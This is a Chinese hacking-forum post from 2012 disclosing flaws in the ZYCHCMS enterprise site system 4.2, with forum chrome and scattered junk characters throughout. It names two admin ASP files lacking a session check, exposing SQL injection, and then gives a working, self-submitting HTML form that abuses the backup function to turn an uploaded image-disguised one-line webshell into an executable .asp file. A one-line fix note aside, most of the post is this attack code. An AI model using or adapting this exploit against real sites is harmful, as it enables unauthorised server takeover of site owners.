找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2029|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
( N; ~/ o" C/ N) q, h- K2 p+ p
( c6 ~$ Y; L) E, h! S1 }

. |: n4 ~1 U! G# b  H0 G& x8 |$ t) K- q8 S* C; O
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
0 a1 }  e# N. h1 X ①SQL注射漏洞  O, a9 j+ o7 z$ P
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp7 z( g9 W" Q$ u1 s
漏洞原因:未过滤! v% Q( z5 N  D$ G; r- V
漏洞代码:( M6 P7 \+ v% B
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。2 Q) c9 d& }, p  K" T
修复方法:在文件开头加入代码+ s+ t8 S& C4 a/ z( j
& c" }: U+ a1 Q, b- Z( Q0 @
# @- R. J$ Y& E" O$ d3 `% U
②后台拿WBSHELL/ I- c6 B( c& v) T
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
3 I5 f6 D1 v; d 这里在网上找了一个,改了下,将就着用。
1 u( T! t8 \1 Y2 R; i8 e9 q4 s 以下是代码本地提交代码. [6 ~0 I2 f- A6 m
! y" R6 C& h6 `- x# p9 `
, X, Z, c# p8 \3 M7 s
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>) p* _$ T8 o; r2 B( [8 X! Q1 Z. i
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
! ?8 \* V; K0 R) y# ~ <tr>8 U9 {& x0 m- f! M& g* V3 a
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
% D$ ~/ M! c2 h% V  | </tr>
4 I( N. U: v6 ]& |2 w* g" A; q& W <tr>
+ L2 X) ~/ E8 p  I3 M0 a! J+ ` <td bgcolor=”#FFFFFF”><span class=”back_southidc”>0 n6 y/ r. j( B6 X& k/ t
</span>
3 @" B9 p1 q1 N1 J% D6 {6 J4 b( m <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
0 h- u9 v! P4 K; f; ]( R7 d8 z <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >% K4 {' r, H/ L; a9 J1 {0 |
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>, Z7 Q9 V0 {# U- ]
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
. H% e0 j6 Z$ K6 F5 ?# c <div align=”left”>0 t. W6 i4 E. J0 o" v
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
3 ]) }) C4 W9 W  T- x <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
$ o$ R4 _$ J' W8 i: T <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />: A: C* @# z; h1 S" @
</div></td>* r( c' X" J9 C, v5 C( @9 s
</tr>1 b8 m, e8 _% X: }
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
& `, g0 K; b  d# W* V8 J6 L0 W- d' {) O <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
8 |$ K, K7 {9 F. ]$ V <td class=”td”><div align=”left”>, [  y5 r: @% i' _
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
2 Z5 k3 v0 k+ a& s# b# ~+ V. b [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>1 V+ b" u3 t& o4 f0 V# l+ `
</tr>) ]& S' G7 R) O& s! h* }
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>: }) s' Y+ j7 ~" H$ z) a) \
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td># n! ?" V, T9 f/ |0 q) X) p
<td class=”td”><div align=”left”>( E" j8 F# {3 k+ R9 z
<input type=”submit” value=”确定备份” class=”btn”
5 B4 ^& I: y4 k0 X( o. [7 r </div></td>, G) |9 f) ~+ ]6 q5 S6 c( D
</tr>
: @2 m+ \! ~" o6 L3 e </table></td></tr></form>. Y0 t, U2 G' m( `
</table>
- F4 \( j- d* Q- B6 C8 W4 Y </td>7 Q( `1 Z2 F" ^& [$ S
</tr>
5 x, T6 p4 k. q! R </table>! ]( ~/ ~6 [: S- C; A
<script>
4 Q; C  F+ N- T2 ]  a- v document.all.add.submit();
5 Q* k% ?. c; @9 c+ ~" E' O </script>& C1 G9 A# Z6 c6 A. D* w7 f

6 _/ @4 [9 w: s0 L2 A6 M, Q; z6 m9 i0 C+ o( l+ y; A

- M* b; f5 V5 K
1 A3 k$ U( u: {% [3 d
  Q. h# u& N% |
, U6 O% Q1 O# `& d
' r' a5 y+ o# n1 _
9 D% I+ }2 D2 r% l) E" W1 O0 T5 `9 E# n* Z6 s$ P2 N

* X0 i% f( W3 v4 |5 W1 K! B( {7 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表